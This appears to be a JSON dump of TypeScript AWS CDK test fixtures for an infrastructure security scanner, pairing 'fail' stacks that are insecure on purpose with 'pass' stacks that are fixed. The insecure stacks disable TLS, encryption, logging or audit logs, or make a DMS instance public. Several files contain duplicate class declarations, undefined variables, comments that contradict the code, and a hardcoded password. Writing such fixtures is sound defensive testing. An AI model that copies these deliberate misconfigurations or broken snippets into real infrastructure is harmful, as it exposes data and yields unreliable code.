  },
  {
    "path": "cdk_integration_tests/src/typescript/CloudfrontDistributionEncryption/fail__2__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as cloudfront from 'aws-cdk-lib/aws-cloudfront';\nimport * as origins from 'aws-cdk-lib/aws-cloudfront-origins';\n\nexport class CloudFrontStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Creating an origin for the CloudFront distribution\n    const myOrigin = new origins.S3Origin({ domainName: 'my-bucket.s3.amazonaws.com' });\n\n    // Creating a CloudFront distribution\n    const distribution = new cloudfront.CfnDistribution(this, 'MyDistribution', {\n      distributionConfig: {\n        defaultCacheBehavior: {\n          targetOriginId: 'myOrigin1',\n          viewerProtocolPolicy: 'allow-all',\n        },\n        origins: [\n          {\n            id: 'myOrigin1',\n            domainName: 'my-bucket.s3.amazonaws.com',\n            s3OriginConfig: {},\n          },\n        ],\n        enabled: true,\n      },\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew CloudFrontStack(app, 'CloudFrontStack');\n\n\nexport class CloudFrontStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Creating an origin for the CloudFront distribution\n    const myOrigin = new origins.S3Origin({ domainName: 'my-bucket.s3.amazonaws.com' });\n\n    // Creating a CloudFront distribution using the Distribution construct\n    const distribution = new cloudfront.Distribution(this, 'MyDistribution', {\n      defaultBehavior: {\n        origin: myOrigin,\n        viewerProtocolPolicy: cloudfront.ViewerProtocolPolicy.ALLOW_ALL, // Allow all protocols\n      },\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew CloudFrontStack(app, 'CloudFrontStack');\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CloudfrontDistributionEncryption/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as cloudfront from 'aws-cdk-lib/aws-cloudfront';\nimport * as origins from 'aws-cdk-lib/aws-cloudfront-origins';\n\nexport class CloudFrontStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Creating an origin for the CloudFront distribution\n    const myOrigin = new origins.S3Origin({ domainName: 'my-bucket.s3.amazonaws.com' });\n\n    // Creating a CloudFront distribution\n    const distribution = new cloudfront.CfnDistribution(this, 'MyDistribution', {\n      distributionConfig: {\n        defaultCacheBehavior: {\n          targetOriginId: 'myOrigin1',\n          viewerProtocolPolicy: 'redirect-to-https',\n        },\n        origins: [\n          {\n            id: 'myOrigin1',\n            domainName: 'my-bucket.s3.amazonaws.com',\n            s3OriginConfig: {},\n          },\n        ],\n        enabled: true,\n      },\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew CloudFrontStack(app, 'CloudFrontStack');\n\nexport class CloudFrontStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Creating an origin for the CloudFront distribution\n    const myOrigin = new origins.S3Origin({ domainName: 'my-bucket.s3.amazonaws.com' });\n\n    // Creating a CloudFront distribution using the Distribution construct\n    const distribution = new cloudfront.Distribution(this, 'MyDistribution', {\n      defaultBehavior: {\n        origin: myOrigin,\n        viewerProtocolPolicy: cloudfront.ViewerProtocolPolicy.REDIRECT_TO_HTTPS, // Allow all protocols\n      },\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew CloudFrontStack(app, 'CloudFrontStack');"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CloudfrontDistributionLogging/fail__2__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as cloudfront from 'aws-cdk-lib/aws-cloudfront';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\nimport * as logs from 'aws-cdk-lib/aws-logs';\n\nexport class CloudFrontStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // S3 bucket for storing CloudFront access logs\n    const logBucket = new s3.Bucket(this, 'LogBucket');\n\n    // Creating an origin for the CloudFront distribution\n    const myOrigin = new cloudfront.Origins.S3Origin({ domainName: 'my-bucket.s3.amazonaws.com' });\n\n    // Creating a CloudFront distribution using the Distribution construct\n    const distribution = new cloudfront.Distribution(this, 'MyDistribution', {\n      defaultBehavior: {\n        origin: myOrigin,\n        viewerProtocolPolicy: cloudfront.ViewerProtocolPolicy.ALLOW_ALL,\n      },\n      enableLogging: false, // Enable access logging\n      logBucket: logBucket,\n      logFilePrefix: 'cf-access-logs/', // Optional: prefix for log file names\n    });\n\n    // Optionally grant CloudFront permission to write access logs to the S3 bucket\n    logBucket.grantWrite(distribution.logBucketDelivery);\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew CloudFrontStack(app, 'CloudFrontStack');\n\n\n\nexport class CloudFrontStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // S3 bucket for storing CloudFront access logs\n    const logBucket = new s3.Bucket(this, 'LogBucket');\n\n    // Creating an origin for the CloudFront distribution\n    const myOrigin = new cloudfront.CfnDistribution.OriginProperty({\n      domainName: 'my-bucket.s3.amazonaws.com',\n      id: 'myOrigin',\n      s3OriginConfig: {},\n    });\n\n    // Creating a CloudFront distribution using the CfnDistribution construct\n    const distribution = new cloudfront.CfnDistribution(this, 'MyDistribution', {\n      distributionConfig: {\n        defaultCacheBehavior: {\n          targetOriginId: 'myOrigin',\n          viewerProtocolPolicy: 'allow-all',\n        },\n        origins: [myOrigin],\n        enabled: true,\n      },\n    });\n\n    // Optionally grant CloudFront permission to write access logs to the S3 bucket\n    logBucket.grantWrite(distribution.logBucketDeliveryWrite);\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew CloudFrontStack(app, 'CloudFrontStack');\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CloudfrontDistributionLogging/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as cloudfront from 'aws-cdk-lib/aws-cloudfront';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\nimport * as logs from 'aws-cdk-lib/aws-logs';\n\nexport class CloudFrontStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // S3 bucket for storing CloudFront access logs\n    const logBucket = new s3.Bucket(this, 'LogBucket');\n\n    // Creating an origin for the CloudFront distribution\n    const myOrigin = new cloudfront.Origins.S3Origin({ domainName: 'my-bucket.s3.amazonaws.com' });\n\n    // Creating a CloudFront distribution using the Distribution construct\n    const distribution = new cloudfront.Distribution(this, 'MyDistribution', {\n      defaultBehavior: {\n        origin: myOrigin,\n        viewerProtocolPolicy: cloudfront.ViewerProtocolPolicy.ALLOW_ALL,\n      },\n      enableLogging: true, // Enable access logging\n      logBucket: logBucket,\n      logFilePrefix: 'cf-access-logs/', // Optional: prefix for log file names\n    });\n\n    // Optionally grant CloudFront permission to write access logs to the S3 bucket\n    logBucket.grantWrite(distribution.logBucketDelivery);\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew CloudFrontStack(app, 'CloudFrontStack');\n\nexport class CloudFrontStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // S3 bucket for storing CloudFront access logs\n    const logBucket = new s3.Bucket(this, 'LogBucket');\n\n    // Creating an origin for the CloudFront distribution\n    const myOrigin = new cloudfront.CfnDistribution.OriginProperty({\n      domainName: 'my-bucket.s3.amazonaws.com',\n      id: 'myOrigin',\n      s3OriginConfig: {},\n    });\n\n    // Creating a CloudFront distribution using the CfnDistribution construct\n    const distribution = new cloudfront.CfnDistribution(this, 'MyDistribution', {\n      distributionConfig: {\n        defaultCacheBehavior: {\n          targetOriginId: 'myOrigin',\n          viewerProtocolPolicy: 'allow-all',\n        },\n        origins: [myOrigin],\n        enabled: true,\n        logging: {\n          bucket: logBucket.bucketName,\n          prefix: 'cf-access-logs/', // Optional: prefix for log file names\n          includeCookies: false, // Optional: whether to include cookies in access logs\n        },\n      },\n    });\n\n    // Optionally grant CloudFront permission to write access logs to the S3 bucket\n    logBucket.grantWrite(distribution.logBucketDeliveryWrite);\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew CloudFrontStack(app, 'CloudFrontStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CloudtrailEncryption/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as cloudtrail from 'aws-cdk-lib/aws-cloudtrail';\nimport * as kms from 'aws-cdk-lib/aws-kms';\n\nexport class CloudTrailStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define a KMS key for CloudTrail encryption\n    const kmsKey = new kms.Key(this, 'CloudTrailKmsKey');\n\n    // Create a CloudTrail trail with the specified KMS key ID\n    const trail = new cloudtrail.CfnTrail(this, 'MyTrail', {\n      enableLogFileValidation: true,\n      includeGlobalServiceEvents: true,\n      isMultiRegionTrail: true,\n      trailName: 'MyCloudTrail',\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew CloudTrailStack(app, 'CloudTrailStack');"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CloudtrailEncryption/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as cloudtrail from 'aws-cdk-lib/aws-cloudtrail';\nimport * as kms from 'aws-cdk-lib/aws-kms';\n\nexport class CloudTrailStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define a KMS key for CloudTrail encryption\n    const kmsKey = new kms.Key(this, 'CloudTrailKmsKey');\n\n    // Create a CloudTrail trail with the specified KMS key ID\n    const trail = new cloudtrail.CfnTrail(this, 'MyTrail', {\n      enableLogFileValidation: true,\n      includeGlobalServiceEvents: true,\n      isMultiRegionTrail: true,\n      kmsKeyId: kmsKey.keyId, // Use the KMS key ID\n      trailName: 'MyCloudTrail',\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew CloudTrailStack(app, 'CloudTrailStack');\n\nexport class CloudTrailStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n\n    // Create a CloudTrail trail with the specified KMS key ID\n    const trail = new cloudtrail.CfnTrail(this, 'MyTrail', {\n      enableLogFileValidation: true,\n      includeGlobalServiceEvents: true,\n      isMultiRegionTrail: true,\n      kmsKeyId: new kms.Key(this, 'CloudTrailKmsKey').keyId,\n      trailName: 'MyCloudTrail',\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew CloudTrailStack(app, 'CloudTrailStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CloudtrailMultiRegion/fail__2__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as cloudtrail from 'aws-cdk-lib/aws-cloudtrail';\nimport * as kms from 'aws-cdk-lib/aws-kms';\n\nexport class CloudTrailStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define a KMS key for CloudTrail encryption\n    const kmsKey = new kms.Key(this, 'CloudTrailKmsKey');\n\n    // Create a CloudTrail trail using CfnTrail\n    const trail = new cloudtrail.CfnTrail(this, 'MyCfnTrail', {\n      isMultiRegionTrail: false,\n      enableLogFileValidation: true,\n      includeGlobalServiceEvents: true,\n      kmsKeyId: kmsKey.keyId,\n      trailName: 'MyCloudTrail',\n    });\n  }\n}\n\n\nexport class CloudTrailStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define a KMS key for CloudTrail encryption\n    const kmsKey = new kms.Key(this, 'CloudTrailKmsKey');\n\n    // Create a CloudTrail trail using Trail construct\n    const trail = new cloudtrail.Trail(this, 'MyTrail', {\n      enableFileValidation: true,\n      includeGlobalServiceEvents: true,\n      encryptionKey: kmsKey,\n      trailName: 'MyCloudTrail',\n    });\n  }\n}\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CloudtrailMultiRegion/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as cloudtrail from 'aws-cdk-lib/aws-cloudtrail';\nimport * as kms from 'aws-cdk-lib/aws-kms';\n\nexport class CloudTrailStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define a KMS key for CloudTrail encryption\n    const kmsKey = new kms.Key(this, 'CloudTrailKmsKey');\n\n    // Create a CloudTrail trail using CfnTrail\n    const trail = new cloudtrail.CfnTrail(this, 'MyCfnTrail', {\n      isMultiRegionTrail: true,\n      enableLogFileValidation: true,\n      includeGlobalServiceEvents: true,\n      kmsKeyId: kmsKey.keyId,\n      trailName: 'MyCloudTrail',\n    });\n  }\n}\n\n\nexport class CloudTrailStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define a KMS key for CloudTrail encryption\n    const kmsKey = new kms.Key(this, 'CloudTrailKmsKey');\n\n    // Create a CloudTrail trail using Trail construct\n    const trail = new cloudtrail.Trail(this, 'MyTrail', {\n      isMultiRegionTrail: true,\n      enableFileValidation: true,\n      includeGlobalServiceEvents: true,\n      encryptionKey: kmsKey,\n      trailName: 'MyCloudTrail',\n    });\n  }\n}\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CodeBuildProjectEncryption/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as codebuild from 'aws-cdk-lib/aws-codebuild';\n\nexport class CodeBuildStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Create a CodeBuild project\n    const project = new codebuild.Project(this, 'MyCodeBuildProject', {\n      projectName: 'MyCodeBuildProject',\n      environment: {\n        buildImage: codebuild.LinuxBuildImage.STANDARD_4_0,\n        environmentVariables: {\n          'EXAMPLE_ENV_VARIABLE': { value: 'example-value' },\n        },\n      },\n      buildSpec: codebuild.BuildSpec.fromObject({\n        version: '0.2',\n        phases: {\n          install: {\n            commands: [\n              'npm install',\n            ],\n          },\n          build: {\n            commands: [\n              'npm run build',\n            ],\n          },\n        },\n      }),\n    });\n\n    // Ensure that encryption is not disabled\n    project.node.addDependency(kmsKey);\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew CodeBuildStack(app, 'CodeBuildStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/CodeBuildProjectEncryption/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as codebuild from 'aws-cdk-lib/aws-codebuild';\nimport * as kms from 'aws-cdk-lib/aws-kms';\n\nexport class CodeBuildStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define a KMS key for CodeBuild encryption\n    const kmsKey = new kms.Key(this, 'CodeBuildKmsKey');\n\n    // Create a CodeBuild project\n    const project = new codebuild.Project(this, 'MyCodeBuildProject', {\n      projectName: 'MyCodeBuildProject',\n      encryptionKey: kmsKey, // Specify the KMS key\n      environment: {\n        buildImage: codebuild.LinuxBuildImage.STANDARD_4_0,\n        environmentVariables: {\n          'EXAMPLE_ENV_VARIABLE': { value: 'example-value' },\n        },\n      },\n      buildSpec: codebuild.BuildSpec.fromObject({\n        version: '0.2',\n        phases: {\n          install: {\n            commands: [\n              'npm install',\n            ],\n          },\n          build: {\n            commands: [\n              'npm run build',\n            ],\n          },\n        },\n      }),\n    });\n\n    // Ensure that encryption is not disabled\n    project.node.addDependency(kmsKey);\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew CodeBuildStack(app, 'CodeBuildStack');\n\nexport class CodeBuildStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Create a CodeBuild project\n    const project = new codebuild.Project(this, 'MyCodeBuildProject', {\n      projectName: 'MyCodeBuildProject',\n      encryptionKey: new kms.Key(this, 'CodeBuildKmsKey'), // Specify the KMS key\n      environment: {\n        buildImage: codebuild.LinuxBuildImage.STANDARD_4_0,\n        environmentVariables: {\n          'EXAMPLE_ENV_VARIABLE': { value: 'example-value' },\n        },\n      },\n      buildSpec: codebuild.BuildSpec.fromObject({\n        version: '0.2',\n        phases: {\n          install: {\n            commands: [\n              'npm install',\n            ],\n          },\n          build: {\n            commands: [\n              'npm run build',\n            ],\n          },\n        },\n      }),\n    });\n\n    // Ensure that encryption is not disabled\n    project.node.addDependency(kmsKey);\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew CodeBuildStack(app, 'CodeBuildStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/DAXEncryption/fail__2__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as dax from 'aws-cdk-lib/aws-dax';\n\nexport class DAXClusterStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Create a DAX cluster\n    const daxCluster = new dax.CfnCluster(this, 'MyDAXCluster', {\n      clusterName: 'MyDAXCluster',\n      description: 'My DAX Cluster',\n      iamRoleArn: 'arn:aws:iam::123456789012:role/DAXServiceRole',\n      nodeType: 'dax.r5.large',\n      replicationFactor: 2,\n      sseSpecification: {\n        enabled: false, // Disable server-side encryption\n      },\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DAXClusterStack(app, 'DAXClusterStack');\napp.synth();\n\nexport class DAXClusterStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Create a DAX cluster\n    const daxCluster = new dax.CfnCluster(this, 'MyDAXCluster', {\n      clusterName: 'MyDAXCluster',\n      description: 'My DAX Cluster',\n      iamRoleArn: 'arn:aws:iam::123456789012:role/DAXServiceRole',\n      nodeType: 'dax.r5.large',\n      replicationFactor: 2,\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DAXClusterStack(app, 'DAXClusterStack');\napp.synth();"
  },
  {
    "path": "cdk_integration_tests/src/typescript/DAXEncryption/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as dax from 'aws-cdk-lib/aws-dax';\n\nexport class DAXClusterStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Create a DAX cluster\n    const daxCluster = new dax.CfnCluster(this, 'MyDAXCluster', {\n      clusterName: 'MyDAXCluster',\n      description: 'My DAX Cluster',\n      iamRoleArn: 'arn:aws:iam::123456789012:role/DAXServiceRole',\n      nodeType: 'dax.r5.large',\n      replicationFactor: 2,\n      sseSpecification: {\n        enabled: true, // Enable server-side encryption\n      },\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DAXClusterStack(app, 'DAXClusterStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/DMSReplicationInstancePubliclyAccessible/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as dms from 'aws-cdk-lib/aws-dms';\n\nexport class DMSStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Create a DMS replication instance\n    const replicationInstance = new dms.CfnReplicationInstance(this, 'MyCfnReplicationInstance', {\n      replicationInstanceClass: 'replicationInstanceClass',\n\n      // Optional properties\n      allocatedStorage: 123,\n      allowMajorVersionUpgrade: false,\n      autoMinorVersionUpgrade: false,\n      availabilityZone: 'availabilityZone',\n      engineVersion: 'engineVersion',\n      kmsKeyId: 'kmsKeyId',\n      multiAz: false,\n      preferredMaintenanceWindow: 'preferredMaintenanceWindow',\n      publiclyAccessible: true, // Set publiclyAccessible to true\n      replicationInstanceIdentifier: 'replicationInstanceIdentifier',\n      replicationSubnetGroupIdentifier: 'replicationSubnetGroupIdentifier',\n      resourceIdentifier: 'resourceIdentifier',\n      tags: [{ key: 'key', value: 'value' }],\n      vpcSecurityGroupIds: ['vpcSecurityGroupIds'],\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DMSStack(app, 'DMSStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/DMSReplicationInstancePubliclyAccessible/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as dms from 'aws-cdk-lib/aws-dms';\n\nexport class DMSStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Create a DMS replication instance\n    const replicationInstance = new dms.CfnReplicationInstance(this, 'MyCfnReplicationInstance', {\n      replicationInstanceClass: 'replicationInstanceClass',\n\n      // Optional properties\n      allocatedStorage: 123,\n      allowMajorVersionUpgrade: false,\n      autoMinorVersionUpgrade: false,\n      availabilityZone: 'availabilityZone',\n      engineVersion: 'engineVersion',\n      kmsKeyId: 'kmsKeyId',\n      multiAz: false,\n      preferredMaintenanceWindow: 'preferredMaintenanceWindow',\n      publiclyAccessible: false, // Set publiclyAccessible to true\n      replicationInstanceIdentifier: 'replicationInstanceIdentifier',\n      replicationSubnetGroupIdentifier: 'replicationSubnetGroupIdentifier',\n      resourceIdentifier: 'resourceIdentifier',\n      tags: [{ key: 'key', value: 'value' }],\n      vpcSecurityGroupIds: ['vpcSecurityGroupIds'],\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DMSStack(app, 'DMSStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/DocDBAuditLogs/fail__2__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as docdb from 'aws-cdk-lib/aws-docdb';\n\nexport class DocDBStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define the DocDB Cluster Parameter Group\n    const dbParameterGroup = new docdb.CfnDBClusterParameterGroup(this, 'DocDBClusterParameterGroup', {\n      description: 'Custom DocDB Cluster Parameter Group',\n      family: 'docdb4.0',\n      parameters: {\n        audit_logs: 'disabled',\n      },\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DocDBStack(app, 'DocDBStack');\napp.synth();\n\n\nexport class DocDBStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define the DocDB Cluster Parameter Group\n    const dbParameterGroup = new docdb.CfnDBClusterParameterGroup(this, 'DocDBClusterParameterGroup', {\n      description: 'Custom DocDB Cluster Parameter Group',\n      family: 'docdb4.0',\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DocDBStack(app, 'DocDBStack');\napp.synth();"
  },
  {
    "path": "cdk_integration_tests/src/typescript/DocDBAuditLogs/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as docdb from 'aws-cdk-lib/aws-docdb';\n\nexport class DocDBStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define the DocDB Cluster Parameter Group\n    const dbParameterGroup = new docdb.CfnDBClusterParameterGroup(this, 'DocDBClusterParameterGroup', {\n      description: 'Custom DocDB Cluster Parameter Group',\n      family: 'docdb4.0',\n      parameters: {\n        audit_logs: 'enabled',\n      },\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DocDBStack(app, 'DocDBStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/DocDBEncryption/fail__2__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as docdb from 'aws-cdk-lib/aws-docdb';\nimport * as kms from 'aws-cdk-lib/aws-kms';\n\nexport class DocDBStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define a KMS key for DocumentDB storage encryption\n    const kmsKey = new kms.Key(this, 'DocDBEncryptionKey');\n\n    // Create an Amazon DocumentDB cluster\n    const cluster = new docdb.CfnDBCluster(this, 'MyCluster', {\n      dbClusterIdentifier: 'MyCluster',\n      masterUsername: 'admin',\n      masterUserPassword: 'mysecretpassword',\n      dbSubnetGroupName: 'MySubnetGroup',\n      engineVersion: '4.0.0',\n      storageEncrypted: false, // Enable storage encryption\n      kmsKeyId: kmsKey.keyArn,\n      vpcSecurityGroupIds: ['sg-12345678'],\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DocDBStack(app, 'DocDBStack');\napp.synth();\n\n\nexport class DocDBStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define a KMS key for DocumentDB storage encryption\n    const kmsKey = new kms.Key(this, 'DocDBEncryptionKey');\n\n    // Create an Amazon DocumentDB cluster\n    const cluster = new docdb.CfnDBCluster(this, 'MyCluster', {\n      dbClusterIdentifier: 'MyCluster',\n      masterUsername: 'admin',\n      masterUserPassword: 'mysecretpassword',\n      dbSubnetGroupName: 'MySubnetGroup',\n      engineVersion: '4.0.0',\n      kmsKeyId: kmsKey.keyArn,\n      vpcSecurityGroupIds: ['sg-12345678'],\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DocDBStack(app, 'DocDBStack');\napp.synth();"
  },
  {
    "path": "cdk_integration_tests/src/typescript/DocDBEncryption/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as docdb from 'aws-cdk-lib/aws-docdb';\nimport * as kms from 'aws-cdk-lib/aws-kms';\n\nexport class DocDBStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define a KMS key for DocumentDB storage encryption\n    const kmsKey = new kms.Key(this, 'DocDBEncryptionKey');\n\n    // Create an Amazon DocumentDB cluster\n    const cluster = new docdb.CfnDBCluster(this, 'MyCluster', {\n      dbClusterIdentifier: 'MyCluster',\n      masterUsername: 'admin',\n      masterUserPassword: 'mysecretpassword',\n      dbSubnetGroupName: 'MySubnetGroup',\n      engineVersion: '4.0.0',\n      storageEncrypted: true, // Enable storage encryption\n      kmsKeyId: kmsKey.keyArn,\n      vpcSecurityGroupIds: ['sg-12345678'],\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DocDBStack(app, 'DocDBStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/DocDBTLS/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as docdb from 'aws-cdk-lib/aws-docdb';\n\nexport class DocDBStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define the DocDB Cluster Parameter Group\n    const dbParameterGroup = new docdb.CfnDBClusterParameterGroup(this, 'DocDBClusterParameterGroup', {\n      description: 'Custom DocDB Cluster Parameter Group',\n      family: 'docdb4.0',\n      parameters: {\n        tls: 'disabled',\n      },\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DocDBStack(app, 'DocDBStack');\napp.synth();"
  },
  {
    "path": "cdk_integration_tests/src/typescript/DocDBTLS/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as docdb from 'aws-cdk-lib/aws-docdb';\n\nexport class DocDBStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define the DocDB Cluster Parameter Group\n    const dbParameterGroup = new docdb.CfnDBClusterParameterGroup(this, 'DocDBClusterParameterGroup', {\n      description: 'Custom DocDB Cluster Parameter Group',\n      family: 'docdb4.0',\n      parameters: {\n        tls: 'enabled',\n      },\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DocDBStack(app, 'DocDBStack');\napp.synth();"
  },
  {
    "path": "cdk_integration_tests/src/typescript/DynamodbGlobalTableRecovery/fail.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport * as dynamodb from 'aws-cdk-lib/aws-dynamodb';\n\nexport class DynamoDBStack extends cdk.Stack {\n  constructor(scope: cdk.Construct, id: string, props?: cdk.StackProps) {\n    super(scope, id, props);\n\n    // Define the DynamoDB table\n    const table = new dynamodb.CfnTable(this, 'MyTable', {\n      tableName: 'MyTable',\n      attributeDefinitions: [{ attributeName: 'id', attributeType: 'S' }],\n      keySchema: [{ attributeName: 'id', keyType: 'HASH' }],\n      provisionedThroughput: {\n        readCapacityUnits: 5,\n        writeCapacityUnits: 5,\n      },\n    });\n\n    // Define the DynamoDB global table\n    const globalTable = new dynamodb.CfnGlobalTable(this, 'MyGlobalTable', {\n      globalTableName: 'MyGlobalTable',\n      replicationGroup: [{\n        region: 'us-east-1', // Replace with your preferred region\n      }],\n      sourceTableName: table.ref,\n      pointInTimeRecoverySpecification: {\n        pointInTimeRecoveryEnabled: false, // Enable point-in-time recovery for the global table\n      },\n    });\n  }\n}\n\n// Example usage\nconst app = new cdk.App();\nnew DynamoDBStack(app, 'DynamoDBStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/DynamodbGlobalTableRecovery/pass.ts",
